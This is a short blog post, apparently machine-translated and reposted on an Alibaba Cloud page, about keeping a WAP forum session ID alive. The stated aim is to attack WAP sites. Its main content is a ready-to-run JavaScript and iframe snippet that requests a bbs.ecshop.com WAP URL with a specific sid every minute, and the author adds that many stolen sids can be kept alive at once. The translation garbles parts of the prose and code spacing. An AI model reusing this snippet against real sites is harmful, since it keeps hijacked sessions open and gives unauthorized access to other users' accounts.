Session persistence on the WAP website

Source: Internet
Author: User

The soul of an empty prodigal soul

Let's talk about session persistence. Because the session will always expire, You need to refresh it all the time. Remember the session persistence tool written by cnqing. In fact, to attack wap, you do not need to maintain the actual session. What you need is sid. We only need the following javascript code to keep this sid. The principle is that wap authentication uses sid instead of session, so it takes only one minute to send a get request with sid.

DEMO:

<Script> // the address of the session to be maintained. Var url = "http://bbs.ecshop.com/wap/index.php? Sid = 1oALS7 "; window. setInterval ("keepsid ()", 60000); function keepsid () {document. getElementById ("iframe1 "). src = url + "& time =" + Math. random () ;}</script> <iframe id = "iframe1" src = ""> </iframe> the above Code only needs to be saved as an htm file and opened in a browser. You can even have N multiple iframe and N multiple sid on a page while maintaining them. They can be different sid.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.